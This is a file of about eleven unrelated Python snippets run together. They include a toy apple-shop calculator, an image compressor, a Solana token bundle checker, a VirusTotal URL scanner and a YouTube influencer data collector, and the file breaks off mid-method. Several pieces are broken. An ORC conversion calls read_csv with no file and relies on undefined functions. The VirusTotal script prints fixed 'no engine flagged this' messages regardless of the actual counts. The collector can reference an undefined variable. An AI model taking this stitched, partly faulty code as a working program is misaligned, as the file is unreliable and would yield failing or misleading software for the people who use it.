#INPUT NUMBER OF APPLES WANNA BUY
Apples = 7
#COST PER APPLE
Cost = 3
#THIS IS YOUR MONEY
Money = 50
MoneyNeeded = Apples * Cost

if MoneyNeeded > 20:
    MoneyNeeded = ( Apples * Cost ) - 5
else: MoneyNeeded = Apples * Cost

print("                                        ____________")
print("                                       |            |")
print("                                       | Apple Shop |")
print("                                       |____________|")
print()
print("                                         NEW DEAL:")
print("                                SPEND > $20 WE TAKE $5 OFF")
print("")
print("                                MoneyNeeded & Apples Bought")
print("                                      ---------------")
print("                                           $",MoneyNeeded)
print("                                        ", Apples, "Apples")

print("                                      ---------------")
print("")
    
if MoneyNeeded > Money:
    print("                                       Not Enough Money")
else:
    print("                                       Enough Money ")

import os
from PIL import Image
from tkinter import Tk, filedialog

def process_image(input_path, output_folder, quality=75):
    filename = os.path.basename(input_path)
    name, ext = os.path.splitext(filename)
    ext = ext.lower()

    # Definir nombre de salida (siempre .jpg)
    output_path = os.path.join(output_folder, f"{name}.jpg")

    with Image.open(input_path) as img:
        if ext in ['.jpg', '.jpeg']:
            # Solo comprimir JPEG
            img.save(output_path, format='JPEG', quality=quality, optimize=True)
        else:
            # Convertir a JPEG y comprimir
            img = img.convert("RGB")  # Convertir de RGBA/PNG a RGB
            img.save(output_path, format='JPEG', quality=quality, optimize=True)

    print(f"Processed: {filename} → {output_path}")

def compress_images_in_folder(folder_path, quality=75):
    output_folder = os.path.join(folder_path, "compressed_jpeg")
    os.makedirs(output_folder, exist_ok=True)

    for filename in os.listdir(folder_path):
        if filename.lower().endswith(('.jpg', '.jpeg', '.png', '.bmp', '.tiff', '.webp')):
            input_path = os.path.join(folder_path, filename)
            process_image(input_path, output_folder, quality)

    print(f"\n✅ Finished. Compressed images saved in: {output_folder}")

def choose_folder():
    root = Tk()
    root.withdraw()
    return filedialog.askdirectory(title="Select folder with images to convert & compress")

if __name__ == "__main__":
    folder = choose_folder()
    if folder:
        compress_images_in_folder(folder, quality=75)
    else:
        print("No folder selected.")

import requests
import json
import config

def get_bundles(tokenAddress: str):
    url = "https://api.syrax.ai/v1/token/bundle"

    querystring = {"token":tokenAddress}

    response = requests.request("GET", url, params=querystring)

    text = json.loads(response.text)

    total_tokens = 0
    total_sol = 0
    for bundles in range(0, len(text['bundles'])):
        for trades in range(0, len(text['bundles'][bundles]['trades'])):
            total_sol += text['bundles'][bundles]['trades'][trades]['sol_amount']
            total_tokens += text['bundles'][bundles]['trades'][trades]['token_amount']
    return round(total_sol,1), round((total_tokens/config.pumpfun_supply)*100,2)

total_sol, total_tokens = get_bundles("6JfGs2hLL6gzX4sVhu2apGMRyMnCkWVDuBNCpfwjpump")
print(f"Total SOL: {total_sol}, Total Tokens Percentage: {total_tokens}")

import psutil

percent = psutil.sensors_battery().percent
full_charge = 100
indicator_len = 4

result = int((percent / full_charge) * indicator_len)
print('🟩' * result, f'{percent} %')

# example result
# 🟩🟩🟩 76 %

def fibonacci_series(n):
    fib_sequence = [0, 1]  # Starting values for Fibonacci series

    while len(fib_sequence) < n:
        # Add the last two numbers to get the next one
        next_number = fib_sequence[-1] + fib_sequence[-2]
        fib_sequence.append(next_number)

    return fib_sequence[:n]  # Return only first 'n' elements

# Example usage
num_terms = int(input("Enter the number of terms: "))
print("Fibonacci Series:")
print(fibonacci_series(num_terms))

import pandas as pd
import pyarrow as pa
import pyarrow.orc as orc
from glob import glob

dataset = pd.read_csv()

# Read the Pandas dataset as a PyArrow Table
pa_table = pa.Table.from_pandas(dataset)

# Write the PyArrow Table to an ORC file
with pa.OSFile("/home/saravana/Saravana/s3_maintain/s3-maintenance/Download_S3_Files/Datavisiooh/month_03.orc", "wb") as sink:
    with orc.ORCWriter(sink) as writer:
        writer.write(pa_table)

# Read the ORC file back into a Pandas DataFrame
orc_file_path = "/home/saravana/Saravana/s3_maintain/s3-maintenance/Download_S3_Files/Datavisiooh/month_03.orc"
df = orc.read_table(orc_file_path).to_pandas()
# Display the DataFrame
print(df.head())

final_list = []
for _,row in dataset.iterrows():
    lat = row['latitude']
    lng = row['longitude']
    radius = row['radius']
    country_iso = row['country_iso']
    tran_month = row['month']
    tran_year = row['year']

    start_date,end_date = get_start_end_date(tran_month,tran_year)
    query = get_monthly_count_query(lat,lng,radius,tran_month,tran_year,country_iso)
    print(query)
    
    input_json = row.to_dict()
    result_dataset = execute_query(query,redshift_username, redshift_password)
    data_json = result_dataset.to_dict(orient='records')[0]
    final_json = {**input_json,**data_json}
    final_list.append(final_json)

final_dataset = pd.DataFrame(final_list)
final_dataset

import os
import tkinter as tk
from tkinter import filedialog, messagebox

def seleccionar_directorio():
    ruta = filedialog.askdirectory()
    if ruta:
        entrada_ruta.delete(0, tk.END)
        entrada_ruta.insert(0, ruta)

def crear_carpetas():
    nombre = entrada_nombre.get().strip()
    ruta_base = entrada_ruta.get().strip()

    if not nombre or not ruta_base:
        messagebox.showwarning("Campos incompletos", "Por favor, completa todos los campos.")
        return

    formatos = ["dxv", "h264"]
    resoluciones = ["1080p", "2160p"]
    carpetas_creadas = []

    for formato in formatos:
        for resolucion in resoluciones:
            nombre_carpeta = f"{nombre}-{formato}-{resolucion}"
            ruta_completa = os.path.join(ruta_base, nombre_carpeta)
            os.makedirs(ruta_completa, exist_ok=True)
            carpetas_creadas.append(nombre_carpeta)

    messagebox.showinfo("Éxito", f"Se crearon las siguientes carpetas:\n" + "\n".join(carpetas_creadas))

# Interfaz gráfica
root = tk.Tk()
root.title("Crear carpetas")

tk.Label(root, text="Nombre base:").grid(row=0, column=0, sticky="e")
entrada_nombre = tk.Entry(root, width=40)
entrada_nombre.grid(row=0, column=1, padx=5, pady=5)

tk.Label(root, text="Ruta destino:").grid(row=1, column=0, sticky="e")
entrada_ruta = tk.Entry(root, width=40)
entrada_ruta.grid(row=1, column=1, padx=5, pady=5)
tk.Button(root, text="Seleccionar", command=seleccionar_directorio).grid(row=1, column=2, padx=5)

tk.Button(root, text="Crear carpetas", command=crear_carpetas).grid(row=2, column=1, pady=10)

root.mainloop()

import pandas as pd

# Cargar archivo
input_file = 'input.csv'
output_file = 'filtered_output.csv'

# Leer CSV
df = pd.read_csv(input_file)

# Paso 1: Identificar el monto del Tip por orden
# Creamos un nuevo DataFrame que contiene el monto del Tip por cada orden
tip_montos = df[df['item'].str.contains('Tip', case=False, na=False)][['orden', 'monto']]
tip_montos = tip_montos.rename(columns={'monto': 'monto_tip'})

# Paso 2: Unir esa información al DataFrame original (por la columna 'orden')
df = df.merge(tip_montos, on='orden', how='left')

# Paso 3: Aplicar el filtro original (conservar órdenes repetidas que tengan 'Tip')
filtered_df = df.groupby('orden').filter(lambda x: (x['item'].str.contains('Tip', case=False, na=False).any()))

# Paso 4: Eliminar filas sin 'metodo'
filtered_df = filtered_df[filtered_df['metodo'].notna()]

# Paso 5: Eliminar columna 'item'
filtered_df = filtered_df.drop(columns=['item'])

# Guardar resultado
filtered_df.to_csv(output_file, index=False)
print(f'Filtrado completado. Archivo guardado como {output_file}')

from dotenv import load_dotenv
from os import getenv
import vt

load_dotenv()

"""
requirements :
pip install python-dotenv==1.1.0
pip install vt_py==0.20.0

1 - Create account in https://www.virustotal.com/
2 - Copy your API Key and but it into .env file or put it into your script

"""
apikey = getenv('api_key')

url = input('URL:')

stats_meaning = {
    'malicious': 'No engine explicitly marked this URL as malicious (i.e., known for phishing, malware, scams, etc.). ✅',
    'suspicious': 'No engine thought the URL looked suspicious or sketchy based on patterns or heuristics. ✅',
    'harmless': 'engines scanned the URL and found it to be safe. ✅',
    'undetected': 'engines scanned it but didn’t detect anything, which often means they didn’t have an opinion one way or the other — like saying “no result.” 🟡',
    'timeout': 'No engines timed out while analyzing the URL. ✅',
}

with vt.Client(apikey=apikey) as client:
    analysis = client.scan_url(url=url, wait_for_completion=True)
    stats = analysis.stats
    for k in stats:
        print(f"{k} : {str(stats[k])} {stats_meaning[k].capitalize()}")

for i in reversed([ i for i in range(100)]):
    print(i)

import os
import logging
import pandas as pd
from typing import List, Dict, Optional, Any, Union, Tuple
from datetime import datetime, timedelta
import re
import traceback
from langdetect import detect, LangDetectException
from langdetect.lang_detect_exception import ErrorCode
import pycountry
import iso639
from youtube_transcript_api import YouTubeTranscriptApi
from youtube_transcript_api._errors import NoTranscriptFound, TranscriptsDisabled, NoTranscriptAvailable

from config.settings import (
    RAW_DATA_DIR, 
    PROCESSED_DATA_DIR,
    VIDEO_SAMPLE_SIZE,
    COMMENT_SAMPLE_SIZE
)
from src.scraper.youtube_api import YouTubeAPI
from src.analyzer.audience import AudienceAnalyzer
from src.analyzer.content import ContentAnalyzer


logger = logging.getLogger(__name__)

class DataCollector:
    
    def __init__(self, api_key: Optional[str] = None):
        self.api = YouTubeAPI(api_key)
        self.audience_analyzer = AudienceAnalyzer()
        self.content_analyzer = ContentAnalyzer()
        logger.info("DataCollector initialized")
    
    def collect_influencers_by_keywords(
        self, 
        keywords: List[str], 
        channels_per_keyword: int = 50,
        videos_per_channel: int = 10,
        comments_per_video: int = 100,
        save_intermediate: bool = True
    ) -> pd.DataFrame:
        
        logger.info(f"Starting influencer data collection for {len(keywords)} keywords")
        
        # Search for channels by keywords
        all_channels = pd.DataFrame()
        for keyword in keywords:
            logger.info(f"Collecting channels for keyword: {keyword}")
            channels = self.api.search_channels_by_keyword(
                keyword=keyword, 
                max_results=channels_per_keyword
            )
            all_channels = pd.concat([all_channels, channels], ignore_index=True)
        
        # Remove duplicates
        all_channels = all_channels.drop_duplicates(subset=['channel_id'])
        
        if save_intermediate:
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            channel_search_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"channel_search_results_{timestamp}.csv"
            )
            all_channels.to_csv(channel_search_path, index=False)
            logger.info(f"Saved channel search results to {channel_search_path}")
        
        # Get channel statistics
        channel_ids = all_channels['channel_id'].unique().tolist()
        logger.info(f"Collecting detailed statistics for {len(channel_ids)} channels")
        channel_stats = self.api.get_channel_statistics(channel_ids)
        
        if save_intermediate:
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            channel_stats_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"channel_statistics_{timestamp}.csv"
            )
            channel_stats.to_csv(channel_stats_path, index=False)
            logger.info(f"Saved channel statistics to {channel_stats_path}")
        
        # Collect videos and comments
        all_videos = pd.DataFrame()
        all_video_stats = pd.DataFrame()
        all_comments = pd.DataFrame()
        
        for _, channel in channel_stats.iterrows():
            channel_id = channel['channel_id']
            playlist_id = channel.get('playlist_id')
            
            if not playlist_id:
                logger.warning(f"No playlist ID found for channel {channel_id}")
                continue
                
            logger.info(f"Collecting videos for channel: {channel['title']} ({channel_id})")
            
            # Get videos for channel
            try:
                video_ids = self.api.get_channel_videos(
                    playlist_id=playlist_id, 
                    max_results=videos_per_channel
                )
                
                if not video_ids:
                    logger.warning(f"No videos found for channel {channel_id}")
                    continue
                
                # Get video details
                video_details = self.api.get_video_details(video_ids)
                all_video_stats = pd.concat([all_video_stats, video_details], ignore_index=True)
                
                # Get comments for sample of videos
                for video_id in video_ids[:min(3, len(video_ids))]:
                    try:
                        comments = self.api.get_video_comments(
                            video_id=video_id, 
                            max_results=comments_per_video
                        )
                        all_comments = pd.concat([all_comments, comments], ignore_index=True)
                    except Exception as e:
                        logger.error(f"Error collecting comments for video {video_id}: {str(e)}")
            except Exception as e:
                logger.error(f"Error collecting videos for channel {channel_id}: {str(e)}")
        
        if save_intermediate:
            # Save video statistics
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            video_stats_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"video_statistics_{timestamp}.csv"
            )
            all_video_stats.to_csv(video_stats_path, index=False)
            logger.info(f"Saved video statistics to {video_stats_path}")
            
            # Save comment data
            if not all_comments.empty:
                comments_path = os.path.join(
                    PROCESSED_DATA_DIR, 
                    f"video_comments_{timestamp}.csv"
                )
                all_comments.to_csv(comments_path, index=False)
                logger.info(f"Saved video comments to {comments_path}")
        
        # Create comprehensive influencer dataset
        logger.info("Creating combined influencer dataset")
        try:
            influencer_data = self._create_influencer_dataset(
                channel_stats=channel_stats,
                video_stats=all_video_stats,
                comments=all_comments
            )
            
            # Save final dataset
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            output_path = os.path.join(
                PROCESSED_DATA_DIR, 
                f"influencer_data_{timestamp}.csv"
            )
            influencer_data.to_csv(output_path, index=False)
            logger.info(f"Saved influencer dataset to {output_path}")
            
            return influencer_data
        except Exception as e:
            logger.error(f"Error creating influencer dataset: {str(e)}")
            logger.error(traceback.format_exc())
        
        if not influencer_data:
            logger.warning("No influencer data was generated")
            
            return pd.DataFrame(columns=[
                "influencer_id", "name", "platform", "location", "languages", 
                "category_niche", "follower_count", "audience_demographics",
                "engagement_rate", "audience_interests", "content_types", 
                "post_frequency_month", "avg_views", "collaboration_count",
                "sponsored_ratio", "reputation_score", "follower_quality_score",
                "content_originality_score", "comment_authenticity_score",
                "cost_per_post", "negotiation_flexibility", "historical_performance",
                "controversy_flag", "compliance_status"
            ])
        
        return pd.DataFrame(influencer_data)
    
    def _extract_content_types(self, videos_df: pd.DataFrame) -> List[str]:
        """Extract content types from video titles and descriptions."""
        content_type_keywords = {
            'review': ['review', 'unboxing', 'first look', 'hands-on'],
            'tutorial': ['tutorial', 'how to', 'guide', 'tips', 'learn'],
            'gameplay': ['gameplay', 'playthrough', 'gaming', 'let\'s play'],
            'vlog': ['vlog', 'day in the life', 'follow me'],
            'interview': ['interview', 'qa', 'q&a', 'questions'],
            'reaction': ['reaction', 'reacting to', 'react'],
            'podcast': ['podcast', 'talk show', 'discussion'],
            'education': ['explained', 'educational', 'learn', 'course'],
            'lifestyle': ['lifestyle', 'routine', 'tour'],
            'recipes': ['recipe', 'cooking', 'baking', 'food'],
            'workout': ['workout', 'exercise', 'fitness', 'training']
        }
        
        content_types_count = {ct: 0 for ct in content_type_keywords}
        
        # Check each video title and description for content type keywords
        for _, video in videos_df.iterrows():
            title = video.get('title', '').lower() if isinstance(video.get('title'), str) else ''
            description = video.get('description', '').lower() if isinstance(video.get('description'), str) else ''
            
            for content_type, keywords in content_type_keywords.items():
                for keyword in keywords:
                    if keyword in title or keyword in description:
                        content_types_count[content_type] += 1
                        break
        
        # Get top content types by count
        top_content_types = sorted(content_types_count.items(), key=lambda x: x[1], reverse=True)
        return [ct for ct, count in top_content_types if count > 0][:3]
    
    def _estimate_cost_per_post(self, followers: int, engagement_rate: float) -> float:
        """Estimate cost per post based on followers and engagement rate."""
        try:
            # Ensure we have valid numbers
            followers = int(followers) if pd.notnull(followers) else 0
            engagement_rate = float(engagement_rate) if pd.notnull(engagement_rate) else 0
            
            # Base cost calculation by follower count
            if followers < 10000:  # Nano influencer
                base_cost = 20 + (followers / 10000) * 80
            elif followers < 100000:  # Micro influencer
                base_cost = 100 + (followers - 10000) * (400 / 90000)
            elif followers < 500000:  # Mid-tier influencer
                base_cost = 500 + (followers - 100000) * (4500 / 400000)
            elif followers < 1000000:  # Macro influencer
                base_cost = 5000 + (followers - 500000) * (5000 / 500000)
            else:  # Mega influencer
                base_cost = 10000 + (followers - 1000000) * 0.005
            
            # Adjust by engagement rate
            avg_engagement = 0.02  # 2% is considered average
            
            if engagement_rate > 0:
                engagement_multiplier = max(0.5, min(3.0, engagement_rate / avg_engagement))
            else:
                engagement_multiplier = 0.5
            
            return base_cost * engagement_multiplier
        except Exception as e:
            logger.error(f"Error estimating cost per post: {str(e)}")
            return 100  # Default fallback cost
    
    def _clean_category_urls(self, categories: List[str]) -> List[str]:
        """Clean category URLs to extract readable category names."""
        cleaned_categories = []
        if not categories:
            return cleaned_categories
            
        if not isinstance(categories, list):
            if isinstance(categories, str):
                categories = [categories]
            else:
                return cleaned_categories
                
        for category in categories:
            if isinstance(category, str):
                # Try to extract category name from URL
                match = re.search(r'/([^/]+)$', category)
                if match:
                    # Convert underscores to spaces and capitalize
                    category_name = match.group(1).replace('_', ' ').title()
                    cleaned_categories.append(category_name)
                else:
                    # If it's not a URL, use as is
                    if not category.startswith('http'):
                        cleaned_categories.append(category)
                    else:
                        # Last resort: split by slashes and take last part
                        parts = category.split('/')
                        if parts:
                            category_name = parts[-1].replace('_', ' ').title()
                            cleaned_categories.append(category_name)
        
        return cleaned_categories
    
    def _get_transcript_for_video(self, video_id: str, max_chars: int = 10000) -> str:
        """
        Get transcript text for a video using YouTube Transcript API.
        Returns empty string if transcript is not available.
        """
        try:
            transcript_list = YouTubeTranscriptApi.list_transcripts(video_id)
            
            # First try to get a manual transcript (usually more accurate)
            try:
                transcript = transcript_list.find_manually_created_transcript()
                transcript_data = transcript.fetch()
            except:
                # Fall back to generated transcript
                try:
                    transcript = transcript_list.find_generated_transcript()
                    transcript_data = transcript.fetch()
                except:
                    # Try any available transcript
                    transcript = transcript_list.find_transcript(['en', 'es', 'fr', 'de', 'it', 'pt', 'ru', 'ja', 'ko', 'zh-Hans'])
                    transcript_data = transcript.fetch()
            
            # Get the text from transcript entries
            full_text = " ".join([entry['text'] for entry in transcript_data])
            
            # Limit text length to prevent processing very long transcripts
            return full_text[:max_chars]
            
        except (NoTranscriptFound, TranscriptsDisabled, NoTranscriptAvailable) as e:
            logger.warning(f"No transcript available for video {video_id}: {str(e)}")
            return ""
        except Exception as e:
            logger.error(f"Error fetching transcript for video {video_id}: {str(e)}")
            return ""
    
    def _detect_language_from_transcripts(self, video_ids: List[str], max_videos: int = 3) -> Tuple[str, str]:
        """
        Detect language from video transcripts.
        Returns a tuple of (language_code, language_name)
        """
        logger.info(f"Detecting language from transcripts of {min(len(video_ids), max_videos)} videos")
        
        transcript_texts = []
        
        # Try to get transcripts from up to max_videos videos
        for video_id in video_ids[:max_videos]:
            transcript_text = self._get_transcript_for_video(video_id)
            if transcript_text:
                transcript_texts.append(transcript_text)
                
                # If we get a good transcript, we might not need more
                if len(transcript_text) > 1000:
                    break
        
        if not transcript_texts:
            logger.warning("No transcripts found for language detection")
            return "en", "English"  # Default fallback
        
        # Combine transcript texts and detect language
        combined_text = " ".join(transcript_texts)
        
        try:
            lang_code = detect(combined_text)
            
            try:
                language = iso639.languages.get(part1=lang_code)
                lang_name = language.name
            except (KeyError, AttributeError):
                try:
                    language = pycountry.languages.get(alpha_2=lang_code)
                    lang_name = language.name if language else lang_code
                except (KeyError, AttributeError):
                    lang_name = f"Unknown ({lang_code})"
            
            logger.info(f"Detected language from transcript: {lang_name} ({lang_code})")
            return lang_code, lang_name
            
        except LangDetectException as e:
            logger.warning(f"Could not detect language from transcript: {e}")
            return "en", "English"  # Default fallback
    
    def _detect_language(self, text_samples: List[str]) -> Tuple[str, str]:
        """
        Detect the language from a list of text samples.
        Returns a tuple of (language_code, language_name)
        """
        if not text_samples:
            return "en", "English"  # Default fallback
        
        # Combine text samples for better detection
        combined_text = " ".join(text_samples)[:10000]
        
        try:
            # Detect language from text
            lang_code = detect(combined_text)
            
            # Get language name
            try:
                language = iso639.languages.get(part1=lang_code)
                lang_name = language.name
            except (KeyError, AttributeError):
                try:
                    language = pycountry.languages.get(alpha_2=lang_code)
                    lang_name = language.name if language else lang_code
                except (KeyError, AttributeError):
                    lang_name = f"Unknown ({lang_code})"
            
            return lang_code, lang_name
            
        except LangDetectException as e:
            if hasattr(e, "code") and e.code == ErrorCode.CantDetectLanguage:
                logger.warning(f"Could not detect language: {e}")
            else:
                logger.error(f"Language detection error: {e}")
            return "en", "English"  # Default fallback
    
    def _create_influencer_dataset(
        self, 
        channel_stats: pd.DataFrame,
        video_stats: pd.DataFrame,
        comments: pd.DataFrame
    ) -> pd.DataFrame:
        """Create a comprehensive dataset of influencer information."""
        logger.info("Creating influencer dataset")
        influencer_data = []
        
        for i, (_, channel) in enumerate(channel_stats.iterrows()):
            try:
                channel_id = channel['channel_id']
                
                # Generate influencer ID
                influencer_id = f"I{(i+1):03d}"
                
                # Get videos for this channel
                channel_videos = video_stats[video_stats['channel_id'] == channel_id].copy()
                
                if channel_videos.empty:
                    logger.warning(f"No videos found for channel {channel_id} in the collected data")
                    continue
                
                # Calculate basic engagement metrics
                total_views = channel_videos['view_count'].sum()
                total_likes = channel_videos['like_count'].sum()
                total_comments = channel_videos['comment_count'].sum()
                
                avg_views = channel_videos['view_count'].mean()
                avg_likes = channel_videos['like_count'].mean()
                avg_comments = channel_videos['comment_count'].mean()
                
                # Ensure numeric values
                total_views = float(total_views) if pd.notnull(total_views) else 0
                total_likes = float(total_likes) if pd.notnull(total_likes) else 0
                total_comments = float(total_comments) if pd.notnull(total_comments) else 0
                
                # Calculate engagement rate
                if total_views > 0:
                    engagement_rate = ((total_likes + total_comments) / total_views) * 100
                else:
                    engagement_rate = 0
                
                # Format engagement rate for later calculations
                engagement_rate_formatted = round(engagement_rate / 100, 3)
                
                # Calculate post frequency
                if len(channel_videos) >= 2:
                    try:
                        # Convert published_at to datetime
                        channel_videos['published_at'] = pd.to_datetime(channel_videos['published_at'], errors='coerce')
                        
                        # Filter out videos with invalid dates
                        valid_dates = channel_videos[channel_videos['published_at'].notna()]
                        
                        if len(valid_dates) >= 2:
                            # Sort by date
                            sorted_videos = valid_dates.sort_values('published_at')
                            
                            # Calculate date range
                            first_video_date = sorted_videos['published_at'].iloc[0]
                            last_video_date = sorted_videos['published_at'].iloc[-1]
                            date_diff = (last_video_date - first_video_date).days
                            
                            # Calculate posts per month
                            if date_diff > 0:
                                post_frequency = (len(channel_videos) / (date_diff / 30))
                            else:
                                post_frequency = len(channel_videos) 
                        else:
                            post_frequency = len(channel_videos)
                    except Exception as e:
                        logger.error(f"Error calculating post frequency for channel {channel_id}: {str(e)}")
                        post_frequency = len(channel_videos)
                else:
                    post_frequency = len(channel_videos) 
                
                # Extract categories
                categories = []
                for _, video in channel_videos.iterrows():
                    category = video.get('topic_categories')
                    if isinstance(category, list):
                        categories.extend(self._clean_category_urls(category))
                
                # Get country information
                country = channel.get('country')
                if country and isinstance(country, str):
                    country_name = country
                else:
                    # Try to determine from comments
                    channel_comments = comments[comments['video_id'].isin(channel_videos['video_id'])]
                    if not channel_comments.empty and 'author_country' in channel_comments.columns:
                        # Get most common country from comments
                        country_counts = channel_comments['author_country'].value_counts()
                        country_name = country_counts.index[0] if len(country_counts) > 0 else "Unknown"
                    else:
                        country_name = "Global"
                
                # Language detection - with improved transcript-based detection
                
                # 1. First try from channel metadata
                language_code = channel.get('default_language')
                language_name = None
                
                # 2. If available in metadata, get language name
                if language_code and isinstance(language_code, str):
                    try:
                        # Try to get language name from ISO 639-1 code
                        language = iso639.languages.get(part1=language_code)
                        language_name = language.name
                    except (KeyError, AttributeError):
                        try:
                            # Try pycountry as fallback
                            language = pycountry.languages.get(alpha_2=language_code)
                            language_name = language.name if language else None
                        except (KeyError, AttributeError):
                            language_name = None
                
                # 3. If language not determined from metadata, try transcript-based detection
                if not language_name:
                    # Get video IDs to analyze
                    video_ids = channel_videos['video_id'].tolist()
                    
                    # Try to detect language from transcripts
                    transcript_lang_code, transcript_lang_name = self._detect_language_from_transcripts(video_ids)
                    
                    # If we got a valid language from transcript, use it
                    if transcript_lang_code != "en" or (transcript_lang_code == "en" and len(video_ids) > 0):
                        language_code, language_name = transcript_lang_code, transcript_lang_name
                        logger.info(f"Using transcript-based language detection for channel {channel_id}: {language_name}")
                    else:
                        # 4. As last resort, fall back to text-based detection
                        text_samples = []
                        
                        # Collect text samples from video titles and descriptions
                        for _, video in channel_videos.iterrows():
                            title = video.get('title')
                            desc = video.get('description')
                            
                            if isinstance(title, str) and len(title) > 10:
                                text_samples.append(title)
                            
                            if isinstance(desc, str) and len(desc) > 20:
                                # Limit description length
                                text_samples.append(desc[:500])
                        
                        # Add channel description
                        channel_desc = channel.get('description')
                        if isinstance(channel_desc, str) and len(channel_desc) > 20:
                            text_samples.append(channel_desc)
                        
                        # Add comments as text samples
                        channel_comments = comments[comments['video_id'].isin(channel_videos['video_id'])]
                        if not channel_comments.empty:
                            for comment_text in channel_comments['text'].head(30):
                                if isinstance(comment_text, str) and len(comment_text) > 15:
                                    text_samples.append(comment_text)
                        
                        # Detect language from text samples
                        if text_samples:
                            language_code, language_name = self._detect_language(text_samples)
                        else:
                            language_code, language_name = "en", "English"
                
                # Extract channel keywords and video tags
                channel_keywords = channel.get('keywords', '')
                video_tags = []
                for tags in channel_videos['tags']:
                    if isinstance(tags, list):
                        video_tags.extend(tags)
                
                # Detect sponsored content
                sponsored_keywords = ['sponsored', 'ad', 'advertisement', 'partner', 'paid', '#ad', '#sponsored']
                sponsored_count = 0
                total_analyzed = 0
                
                for title in channel_videos['title']:
                    if isinstance(title, str):
                        total_analyzed += 1
                        if any(kw.lower() in title.lower() for kw in sponsored_keywords):
                            sponsored_count += 1
                
                for desc in channel_videos['description']:
                    if isinstance(desc, str):
                        # Only count unique videos
                        if total_analyzed < len(channel_videos):
                            total_analyzed += 1
                            if any(kw.lower() in desc.lower() for kw in sponsored_keywords):
                                sponsored_count += 1
                
                # Calculate sponsored content ratio
                sponsored_ratio = sponsored_count / max(1, total_analyzed)
                
                # Analyze audience sentiment and authenticity
                comment_sentiment = 0.5
                comment_authenticity = 0.5
                
                if not comments.empty:
                    channel_comments = comments[comments['video_id'].isin(channel_videos['video_id'])].copy()
                    
                    if not channel_comments.empty:
                        try:
                            audience_analysis = self.audience_analyzer.analyze_audience_from_comments(channel_comments)
                            comment_sentiment = audience_analysis.get('sentiment_score', 0.5)
                            comment_authenticity = audience_analysis.get('authenticity_score', 0.5)
                        except Exception as e:
                            logger.warning(f"Could not analyze audience for channel {channel_id}: {e}")
                
                # Estimate audience demographics
                audience_type = "Unknown"
                if len(categories) > 0:
                    # Use audience analyzer if available
                    if hasattr(self.audience_analyzer, 'estimate_demographics'):
                        try:
                            demographics = self.audience_analyzer.estimate_demographics(
                                channel_data=channel.to_dict(),
                                video_stats=channel_videos,
                                comments=channel_comments if 'channel_comments' in locals() else pd.DataFrame()
                            )
                            
                            # Extract primary demographic info
                            primary_age = max(demographics.get('age_groups', {}).items(), key=lambda x: x[1])[0]
                            primary_gender = max(demographics.get('gender_split', {}).items(), key=lambda x: x[1])[0]
                            
                            if primary_gender == 'male' and primary_age in ['13-17', '18-24']:
                                audience_type = "Young Male Adults"
                            elif primary_gender == 'female' and primary_age in ['13-17', '18-24']:
                                audience_type = "Young Female Adults"
                            elif primary_age in ['25-34', '35-44']:
                                audience_type = "Adults 25-44"
                            elif primary_age in ['45-54', '55+']:
                                audience_type = "Adults 45+"
                            else:
                                # Fall back to category-based audience type
                                if any('gaming' in c.lower() for c in categories):
                                    audience_type = "Gaming Enthusiasts"
                                elif any('beauty' in c.lower() for c in categories):
                                    audience_type = "Beauty Enthusiasts"
                                elif any('tech' in c.lower() for c in categories):
                                    audience_type = "Tech Enthusiasts"
                                else:
                                    audience_type = "General Audience"
                        except Exception as e:
                            logger.warning(f"Error estimating demographics for channel {channel_id}: {e}")
                    else:
                        # Use category-based audience type as fallback
                        if any('gaming' in c.lower() for c in categories):
                            audience_type = "Gaming Enthusiasts"
                        elif any('beauty' in c.lower() for c in categories):
                            audience_type = "Beauty Enthusiasts"
                        elif any('tech' in c.lower() for c in categories):
                            audience_type = "Tech Enthusiasts"
                        else:
                            audience_type = "General Audience"
                
                # Extract category and content types
                category_niche = "/".join(set(categories[:3])) if categories else "general"
                content_types = "/".join(self._extract_content_types(channel_videos)) if len(channel_videos) > 0 else "general"
                
                # Extract audience interests
                audience_interests = []
                if hasattr(self.audience_analyzer, 'analyze_audience_interests'):
                    try:
                        audience_interests = self.audience_analyzer.analyze_audience_interests(channel_videos)
                    except Exception as e:
                        logger.warning(f"Error analyzing audience interests for channel {channel_id}: {e}")
                
                # Fallback to video tags for audience interests
                if not audience_interests and video_tags:
                    tag_counts = {}
                    for tag in video_tags:
                        if isinstance(tag, str):
                            tag_counts[tag] = tag_counts.get(tag, 0) + 1
                    
                    sorted_tags = sorted(tag_counts.items(), key=lambda x: x[1], reverse=True)
                    audience_interests = [tag for tag, _ in sorted_tags[:5]]
                
                audience_interests_str = "/".join(audience_interests) if audience_interests else "general"
                
                # Set platform
                platform = "YouTube"
                
                # Detect collaborations
                collaboration_count = 0
                collab_keywords = ['collab', 'featuring', 'feat', 'ft.', 'with', 'x ', ' x ']
                
                for title in channel_videos['title']:
                    if isinstance(title, str) and any(kw.lower() in title.lower() for kw in collab_keywords):
                        collaboration_count += 1
                
                for desc in channel_videos['description']:
                    if isinstance(desc, str) and any(kw.lower() in desc.lower() for kw in collab_keywords):
                        # Avoid double counting
                        if collaboration_count < len(channel_videos):
                            collaboration_count += 1
                
                # Calculate reputation score based on comment sentiment
# Calculate reputation score based on comment sentiment
                reputation_score = round(comment_sentiment, 2)
                
                # Calculate follower quality score
                avg_platform_er = 0.015  # Average engagement rate on YouTube
                if engagement_rate_formatted > 0:
                    follower_quality_score = round(min(0.99, max(0.1, engagement_rate_formatted / avg_platform_er * 0.5)), 2)
                else:
                    follower_quality_score = 0.1
                
                # Calculate content originality score
                if hasattr(self.content_analyzer, 'calculate_content_originality'):
                    try:
                        content_originality_raw = self.content_analyzer.calculate_content_originality(channel_videos)
                        content_originality_score = round(min(0.99, max(0.1, content_originality_raw / 10)), 2)
                    except Exception as e:
                        logger.warning(f"Error calculating content originality for channel {channel_id}: {e}")
                        
                        # Fallback method for content originality
                        title_word_set = set()
                        title_word_count = 0
                        
                        for title in channel_videos['title']:
                            if isinstance(title, str):
                                words = re.findall(r'\b\w+\b', title.lower())
                                title_word_set.update(words)
                                title_word_count += len(words)
                        
                        title_uniqueness = len(title_word_set) / max(1, title_word_count)
                        content_originality_score = round(min(0.99, max(0.1, 0.5 + title_uniqueness * 0.4)), 2)
                else:
